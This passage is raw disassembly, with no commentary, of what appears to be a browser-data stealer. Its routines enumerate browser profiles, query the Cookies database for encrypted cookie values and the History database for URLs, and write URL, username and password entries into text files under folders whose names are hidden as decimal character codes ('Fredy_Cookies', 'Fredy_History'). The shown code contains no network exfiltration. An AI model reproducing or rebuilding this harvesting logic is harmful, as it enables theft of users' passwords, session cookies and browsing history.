je 0x427a2c
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
je 0x4278f3
push str.68_101_102_97_117_108_116
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0xd5
lea ecx, [ebp - 0x15f4]
call fcn.00424de0
mov esi, dword [ebp - 0x15d8]
push eax
push esi
call fcn.00454990
add esp, 8
lea ecx, [ebp - 0x15f4]
test al, al
sete byte [ebp - 0x15c9]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xd4
call fcn.00447640
cmp byte [ebp - 0x15c9], 0
je 0x4278f9
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0x380]
call fcn.00406430
lea ecx, [ebp - 0xe4]
call fcn.00447640
lea ecx, [ebp - 0x9c]
call fcn.00447640
mov byte [ebp - 4], 0xba
push dword [ebp - 0x5c]
call fcn.00566b40
add esp, 4
push dword [ebp - 0x14e8]
call fcn.00562bf0
add esp, 4
lea eax, [ebp - 0x74]
lea ecx, [ebp - 0x34]
push 0
push eax
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xd7
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0xba
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x4278b6
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xd8
call fcn.004099a0
lea ecx, [ebp - 0x34]
call fcn.00406430
mov edi, dword [ebp - 0x1608]
mov byte [ebp - 0x15ca], 0
lea ecx, [ebp - 0x74]
call fcn.00447640
lea ecx, [ebp - 0x108]
call fcn.00447640
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0xb5
call fcn.00447640
add edi, 0x18
mov dword [ebp - 0x1608], edi
jmp 0x4271cb
mov esi, dword [ebp - 0x15d8]
lea eax, [ebp - 0x4c8]
push str.BROWSER_NAME_:
push eax
call fcn.00453340
add esp, 8
lea ecx, [ebp - 0x120]
push ecx
push eax
call fcn.00453320
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.PROFILE_:
push eax
call fcn.00453340
add esp, 8
push esi
push eax
call fcn.00453320
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.__________________________________
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.URL_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x1614]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.USERNAME_:
push eax
call fcn.00453340
add esp, 8
push dword [ebp - 0x1610]
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.PASSWORD_:
push eax
call fcn.00453340
add esp, 8
lea ecx, [ebp - 0x9c]
push ecx
push eax
call fcn.00453320
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea eax, [ebp - 0x4c8]
push str.__________________________________
push eax
call fcn.00453340
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea ecx, [ebp - 0x4c8]
call fcn.0043edf0
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0x380]
call fcn.00406430
lea ecx, [ebp - 0xe4]
call fcn.00447640
lea ecx, [ebp - 0x9c]
call fcn.00447640
jmp 0x427585
lea ecx, [ebp - 0xf0]
call fcn.00408a70
mov edi, eax
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x15d8], edi
call fcn.00414730
mov dword [ebp - 0x1610], eax
mov ecx, edi
cmp ecx, dword [ebp - 0x1610]
je 0x428685
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x15f8], edi
call fcn.00447930
push 0x50
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0xd9
call fcn.0042d900
lea ecx, [ebp - 0x530]
call fcn.0043f330
push edi
lea eax, [ebp - 0x9c]
mov byte [ebp - 4], 0xda
push eax
lea ecx, [ebp - 0x530]
call fcn.0043f240
lea eax, [ebp - 0x2e0]
mov byte [ebp - 4], 0xdb
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
jne 0x427b1c
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
je 0x427b68
push dword [ebp - 0x1628]
lea ecx, [ebp - 0x34]
call fcn.004113c0
mov byte [ebp - 4], 0xdc
mov ecx, dword [ebp - 0x40]
add ecx, 0x18
push ecx
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.00451520
add esp, 0xc
lea ecx, [ebp - 0x144]
push eax
call fcn.00447690
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xdb
call fcn.00447640
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
lea ecx, [ebp - 0x34]
push str.92_78_101_116_119_111_114_107
test al, al
je 0x427bdc
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0xdd
lea ecx, [ebp - 0xcc]
call fcn.00424de0
push eax
lea edx, [ebp - 0x144]
mov byte [ebp - 4], 0xde
lea ecx, [ebp - 0x15f4]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x108]
push eax
call fcn.00447690
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0xcc]
jmp 0x427c71
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0xdf
lea ecx, [ebp - 0x3b0]
call fcn.00424de0
mov esi, eax
push 0x6a7b00
lea eax, [ebp - 0x144]
mov byte [ebp - 4], 0xe0
push eax
lea eax, [ebp - 0x17c]
push eax
call fcn.004513b0
add esp, 0xc
push edi
push eax
lea eax, [ebp - 0xcc]
mov byte [ebp - 4], 0xe1
push eax
call fcn.00451520
add esp, 0xc
push esi
push eax
lea eax, [ebp - 0x15f4]
mov byte [ebp - 4], 0xe2
push eax
call fcn.00451570
add esp, 0xc
lea ecx, [ebp - 0x108]
push eax
call fcn.00447690
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0xcc]
call fcn.00447640
lea ecx, [ebp - 0x17c]
call fcn.00447640
lea ecx, [ebp - 0x3b0]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xdb
call fcn.00447640
push 0x6a7c80
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0xe3
lea ecx, [ebp - 0x15f4]
call fcn.00424de0
push eax
lea edx, [ebp - 0x108]
mov byte [ebp - 4], 0xe4
lea ecx, [ebp - 0x1e8]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xe7
call fcn.00447640
push 0
lea eax, [ebp - 0x1e8]
push eax
lea ecx, [ebp - 0xcc]
call fcn.0045a110
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0xe8
call fcn.00409800
lea ecx, [ebp - 0xcc]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0xe7
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x42850d
push str.92_70_114_101_100_121_95_67_111_111_107_105_101_115
lea ecx, [ebp - 0xcc]
call fcn.004113c0
lea edx, [ebp - 0xcc]
mov byte [ebp - 4], 0xe9
lea ecx, [ebp - 0x3b0]
call fcn.00424de0
push eax
lea edx, [ebp - 0x108]
mov byte [ebp - 4], 0xea
lea ecx, [ebp - 0x74]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x3b0]
call fcn.00447640
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0xed
call fcn.00447640
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xee
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0xed
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x427dc6
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xef
call fcn.004099a0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xed
call fcn.00406430
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x17c]
call fcn.0045a110
push 0
lea eax, [ebp - 0x1e8]
mov byte [ebp - 4], 0xf0
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea edx, [ebp - 0x17c]
mov byte [ebp - 4], 0xf1
lea ecx, [ebp - 0x34]
call fcn.00409730
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
call fcn.00406430
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0xed
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x428505
lea eax, [ebp - 0x14ec]
push eax
lea ecx, [ebp - 0x74]
call fcn.00447230
push eax
call fcn.00564840
add esp, 8
test eax, eax
jne 0x427e65
push eax
lea eax, [ebp - 0x14dc]
push eax
push 0xffffffffffffffff
push str.SELECT_host_key__name__path__expires_utc__encrypted_value___is_secure___is_httponly_FROM_cookies
push dword [ebp - 0x14ec]
call fcn.00565480
add esp, 0x14
test eax, eax
je 0x427eb0
push dword [ebp - 0x14ec]
call fcn.00562bf0
add esp, 4
lea ecx, [ebp - 0x74]
call fcn.00447640
lea ecx, [ebp - 0x1e8]
call fcn.00447640
lea ecx, [ebp - 0x9c]
call fcn.00406430
lea ecx, [ebp - 0x530]
call fcn.0043f270
lea ecx, [ebp - 0x108]
jmp 0x42752e
mov dword [ebp - 4], 0xed
nop
push dword [ebp - 0x14dc]
call fcn.005661b0
add esp, 4
cmp eax, 0x64
jne 0x42847c
push 0
push dword [ebp - 0x14dc]
call fcn.00566680
push 1
push dword [ebp - 0x14dc]
mov edi, eax
mov dword [ebp - 0x15d0], edi
call fcn.00566680
push 2
push dword [ebp - 0x14dc]
mov ecx, eax
mov dword [ebp - 0x38], ecx
call fcn.00566680
push 3
push dword [ebp - 0x14dc]
mov ecx, eax
mov dword [ebp - 0x1614], ecx
call fcn.00566680
push 4
push dword [ebp - 0x14dc]
mov ecx, eax
mov dword [ebp - 0x1604], ecx
call fcn.00566680
push 5
push dword [ebp - 0x14dc]
mov dword [ebp - 0x1608], eax
call fcn.00566680
push 6
push dword [ebp - 0x14dc]
mov esi, eax
mov dword [ebp - 0x160c], esi
call fcn.00566680
add esp, 0x38
mov edx, eax
mov dword [ebp - 0x15fc], edx
test edi, edi
je 0x427eb0
mov ecx, edi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427f65
sub ecx, edi
je 0x427eb0
mov eax, dword [ebp - 0x38]
test eax, eax
je 0x427eb0
mov ecx, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427f84
sub ecx, edi
je 0x427eb0
mov eax, dword [ebp - 0x1614]
test eax, eax
je 0x427eb0
mov ecx, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427fa6
sub ecx, edi
je 0x427eb0
mov eax, dword [ebp - 0x1604]
test eax, eax
je 0x427eb0
mov ecx, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427fc8
sub ecx, edi
je 0x427eb0
mov eax, dword [ebp - 0x1608]
test eax, eax
je 0x427eb0
mov ecx, eax
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427ff0
sub ecx, edi
je 0x427eb0
test esi, esi
je 0x427eb0
test edx, edx
je 0x427eb0
lea ecx, [ebp - 0x1619]
mov byte [ebp - 4], 0xf2
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x12c]
lea eax, [ebp - 0x1660]
push eax
call fcn.00443730
lea ecx, [ebp - 0x12c]
mov esi, dword [eax]
lea eax, [ebp - 0x1664]
push eax
call fcn.00443740
push edi
push esi
lea ecx, [ebp - 0x15f4]
push dword [eax]
call fcn.0045a580
mov esi, eax
mov eax, dword [ebp - 0x1608]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 4], 0xf3
call fcn.004113c0
push esi
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0xf4
push eax
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x39]
call fcn.0042b770
lea ecx, [ebp - 0x34]
call fcn.00447640
lea ecx, [ebp - 0x15f4]
mov byte [ebp - 4], 0xf7
call fcn.00447640
mov ecx, dword [ebp - 0x160c]
mov eax, 0x6a7d3c
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4280c1
test dl, dl
je 0x4280bd
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4280c1
add ecx, 2
add eax, 2
test dl, dl
jne 0x4280a1
xor ecx, ecx
jmp 0x4280c6
sbb ecx, ecx
or ecx, 1
test ecx, ecx
mov eax, 0x6a7d40
mov esi, 0x6a7d48
lea ecx, [ebp - 0x2bc]
cmovne eax, esi
push eax
call fcn.004113c0
mov edx, dword [ebp - 0x15fc]
mov eax, 0x6a7d3c
mov byte [ebp - 4], 0xf8
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x428110
test cl, cl
je 0x42810c
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x428110
add edx, 2
add eax, 2
test cl, cl
jne 0x4280f0
xor ecx, ecx
jmp 0x428115
sbb ecx, ecx
or ecx, 1
test ecx, ecx
mov eax, 0x6a7d40
lea ecx, [ebp - 0x380]
cmovne eax, esi
push eax
call fcn.004113c0
push str.92_67_111_111_107_105_101_115
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xf9
call fcn.00423c90
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0xfa
lea ecx, [ebp - 0xe4]
call fcn.00421f10
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xfc
call fcn.00406430
lea ecx, [ebp - 0x161d]
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0xe4]
lea eax, [ebp - 0x1668]
push eax
call fcn.00447300
lea ecx, [ebp - 0xe4]
mov esi, dword [eax]
lea eax, [ebp - 0x166c]
push eax
call fcn.00423c70
push edi
push esi
lea ecx, [ebp - 0x15f4]
push dword [eax]
call fcn.00459570
push eax
mov edx, 0x6ed414
mov byte [ebp - 4], 0xfd
lea ecx, [ebp - 0x164]
call fcn.00452b20
add esp, 4
lea ecx, [ebp - 0x15f4]
mov byte [ebp - 4], 0xff
call fcn.00406430
push 0
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 0x100
call fcn.00409800
test al, al
mov dword [ebp - 4], 0xff
lea ecx, [ebp - 0x34]
sete byte [ebp - 0x15c9]
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x42822c
push 0
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 0x101
call fcn.004099d0
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0xb4]
call fcn.00446fe0
lea eax, [ebp - 0x1cc]
mov dword [ebp - 4], 0x102
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
lea eax, [ebp - 0x164]
push 0x6a50ac
push eax
je 0x4282ce
lea eax, [ebp - 0x17c]
push eax
call fcn.00452a10
add esp, 0xc
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 3
push ecx
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00452b80
add esp, 0xc
push str._Default.txt
push eax
lea eax, [ebp - 0x15f4]
mov byte [ebp - 4], 4
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xb4]
push eax
call fcn.00446e50
lea ecx, [ebp - 0x15f4]
call fcn.00406430
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0x17c]
jmp 0x42837d
lea eax, [ebp - 0x194]
push eax
call fcn.00452a10
add esp, 0xc
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 5
push ecx
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.00452b80
add esp, 0xc
push 0x6a7db4
push eax
lea eax, [ebp - 0x17c]
mov byte [ebp - 4], 6
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 7
push ecx
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00452b80
add esp, 0xc
push str..txt
push eax
lea eax, [ebp - 0x15f4]
mov byte [ebp - 4], 8
push eax
call fcn.00452a70
add esp, 0xc
lea ecx, [ebp - 0xb4]
push eax
call fcn.00446e50
lea ecx, [ebp - 0x15f4]
call fcn.00406430
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0x17c]
call fcn.00406430
lea ecx, [ebp - 0x4e0]
call fcn.00406430
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 2
call fcn.00406430
push 0xb0
lea ecx, [ebp - 0x4c8]
call fcn.0042d9a0
push 1
push 0x40
push 8
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.0043ee40
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
je 0x42854b
push str.68_101_102_97_117_108_116
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x194]
call fcn.00424de0
push eax
push dword [ebp - 0x15f8]
call fcn.00454990
add esp, 8
lea ecx, [ebp - 0x194]
test al, al
sete byte [ebp - 0x15c9]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 9
call fcn.00447640
cmp byte [ebp - 0x15c9], 0
je 0x42854b
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0xb4]
call fcn.00406430
lea ecx, [ebp - 0x164]
call fcn.00406430
lea ecx, [ebp - 0xe4]
call fcn.00447640
lea ecx, [ebp - 0x380]
call fcn.00447640
lea ecx, [ebp - 0x2bc]
call fcn.00447640
lea ecx, [ebp - 0x58]
call fcn.00447640
mov dword [ebp - 4], 0xed
push dword [ebp - 0x14dc]
call fcn.00566b40
add esp, 4
push dword [ebp - 0x14ec]
call fcn.00562bf0
add esp, 4
lea eax, [ebp - 0x74]
lea ecx, [ebp - 0x34]
push 0
push eax
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 0x10c
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov dword [ebp - 4], 0xed
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x4284ff
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 0x10d
call fcn.004099a0
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 0xed
call fcn.00406430
mov edi, dword [ebp - 0x15d8]
lea ecx, [ebp - 0x74]
call fcn.00447640
lea ecx, [ebp - 0x1e8]
call fcn.00447640
lea ecx, [ebp - 0x9c]
call fcn.00406430
lea ecx, [ebp - 0x530]
call fcn.0043f270
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0xb5
call fcn.00447640
add edi, 0x18
mov dword [ebp - 0x15d8], edi
jmp 0x427a92
push dword [ebp - 0x15d0]
lea eax, [ebp - 0x4c8]
push eax
call fcn.00453340
add esp, 8
push 0x6a7db8
push eax
call fcn.00453340
add esp, 8
lea ecx, [ebp - 0x2bc]
push ecx
push eax
call fcn.00453320
add esp, 8
push 0x6a7db8
push eax
call fcn.00453340
mov ecx, dword [ebp - 0x1614]
add esp, 8
push ecx
push eax
call fcn.00453340
add esp, 8
push 0x6a7db8
push eax
call fcn.00453340
add esp, 8
lea ecx, [ebp - 0x380]
push ecx
push eax
call fcn.00453320
add esp, 8
push 0x6a7db8
push eax
call fcn.00453340
mov ecx, dword [ebp - 0x1604]
add esp, 8
push ecx
push eax
call fcn.00453340
add esp, 8
push 0x6a7db8
push eax
call fcn.00453340
mov ecx, dword [ebp - 0x38]
add esp, 8
push ecx
push eax
call fcn.00453340
add esp, 8
push 0x6a7db8
push eax
call fcn.00453340
add esp, 8
lea ecx, [ebp - 0x58]
push ecx
push eax
call fcn.00453320
add esp, 8
mov ecx, eax
push fcn.00458f90
call fcn.00446670
lea ecx, [ebp - 0x4c8]
call fcn.0043edf0
lea ecx, [ebp - 0x4c8]
call fcn.0042d910
lea ecx, [ebp - 0xb4]
call fcn.00406430
lea ecx, [ebp - 0x164]
call fcn.00406430
lea ecx, [ebp - 0xe4]
call fcn.00447640
lea ecx, [ebp - 0x380]
call fcn.00447640
lea ecx, [ebp - 0x2bc]
call fcn.00447640
lea ecx, [ebp - 0x58]
call fcn.00447640
jmp 0x427ea7
lea ecx, [ebp - 0xf0]
call fcn.00408a70
mov esi, eax
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x40], esi
call fcn.00414730
mov dword [ebp - 0x15d0], eax
mov ecx, esi
cmp ecx, dword [ebp - 0x15d0]
je 0x42945a
push 0x50
lea ecx, [ebp - 0x530]
mov dword [ebp - 0x38], esi
call fcn.0042d900
lea ecx, [ebp - 0x530]
call fcn.0043f330
push esi
lea eax, [ebp - 0xb4]
mov dword [ebp - 4], 0x10e
push eax
lea ecx, [ebp - 0x530]
call fcn.0043f240
push 0x6a7b00
lea eax, [ebp - 0x144]
mov byte [ebp - 4], 0xf
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.004513b0
add esp, 0xc
push esi
push eax
lea eax, [ebp - 0x1e8]
mov byte [ebp - 4], 0x10
push eax
call fcn.00451520
add esp, 0xc
lea ecx, [ebp - 0x194]
call fcn.00447640
lea ecx, [ebp - 0x108]
call fcn.00447930
lea ecx, [ebp - 0x74]
call fcn.00447930
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 0x14
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
lea ecx, [ebp - 0x34]
push 0x6a7dbc
test al, al
je 0x4287f1
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x15f4]
call fcn.00424de0
push eax
lea edx, [ebp - 0x144]
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x194]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x108]
push eax
call fcn.00447690
lea ecx, [ebp - 0x194]
call fcn.00447640
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x14
call fcn.00447640
push str.92_70_114_101_100_121_95_72_105_115_116_111_114_121
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x15f4]
call fcn.00424de0
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x144]
jmp 0x428878
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x15f4]
call fcn.00424de0
push eax
lea edx, [ebp - 0x1e8]
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x194]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x108]
push eax
call fcn.00447690
lea ecx, [ebp - 0x194]
call fcn.00447640
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x14
call fcn.00447640
push str.92_70_114_101_100_121_95_72_105_115_116_111_114_121
lea ecx, [ebp - 0x34]
call fcn.004113c0
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x15f4]
call fcn.00424de0
mov byte [ebp - 4], 0x1c
lea edx, [ebp - 0x1e8]
push eax
lea ecx, [ebp - 0x194]
call fcn.004514c0
add esp, 4
lea ecx, [ebp - 0x74]
push eax
call fcn.00447690
lea ecx, [ebp - 0x194]
call fcn.00447640
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x14
call fcn.00447640
push 0
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x1d
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0x14
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x429349
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x1e
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
mov byte [ebp - 4], 0x14
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x428949
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x1f
call fcn.004099a0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x14
call fcn.00406430
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0xcc]
call fcn.0045a110
push 0
lea eax, [ebp - 0x108]
mov byte [ebp - 4], 0x20
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea edx, [ebp - 0xcc]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x34]
call fcn.00409730
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
call fcn.00406430
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x14
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x429349
lea eax, [ebp - 0x14e0]
push eax
lea ecx, [ebp - 0x74]
call fcn.00447230
push eax
call fcn.00564840
add esp, 8
test eax, eax
jne 0x428dd7
push eax
lea eax, [ebp - 0x14d8]
push eax
push 0xffffffffffffffff
push str.SELECT_url___title__visit_count_FROM_urls
push dword [ebp - 0x14e0]
call fcn.00565480
add esp, 0x14
test eax, eax
jne 0x428dd7
push dword [ebp - 0x14d8]
call fcn.005661b0
add esp, 4
cmp eax, 0x64
jne 0x428da3
push 0
push dword [ebp - 0x14d8]
call fcn.00566680
push 1
push dword [ebp - 0x14d8]
mov edi, eax
mov dword [ebp - 0x15f8], edi
call fcn.00566680
push 2
push dword [ebp - 0x14d8]
mov esi, eax
mov dword [ebp - 0x15fc], esi
call fcn.00566680
add esp, 0x18
mov dword [ebp - 0x160c], eax
test edi, edi
je 0x4289f0
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428a50
sub ecx, edx
je 0x4289f0
test esi, esi
je 0x4289f0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428a64
sub ecx, edx
je 0x4289f0
push str.92_72_105_115_116_111_114_121
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x22
call fcn.00423c90
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x9c]
call fcn.00421f10
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x25
call fcn.00406430
lea ecx, [ebp - 0x161c]
call fcn.00411420
mov edi, eax
lea ecx, [ebp - 0x9c]
lea eax, [ebp - 0x1670]
push eax
call fcn.00447300
lea ecx, [ebp - 0x9c]
mov esi, dword [eax]
lea eax, [ebp - 0x1674]
push eax
call fcn.00423c70
push edi
push esi
lea ecx, [ebp - 0x194]
push dword [eax]
call fcn.00459570
push eax
mov edx, 0x6ed414
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x164]
call fcn.00452b20
add esp, 4
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x28
call fcn.00406430
push 0
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x29
call fcn.00409800
test al, al
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x34]
sete byte [ebp - 0x15c9]
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x428b67
push 0
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x2a
call fcn.004099d0
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0xe4]
call fcn.00446fe0
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 0x2b
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00454990
add esp, 8
test al, al
lea eax, [ebp - 0x164]
push 0x6a50ac
push eax
je 0x428c06
lea eax, [ebp - 0x34]
push eax
call fcn.00452a10
add esp, 0xc
lea ecx, [ebp - 0x214]
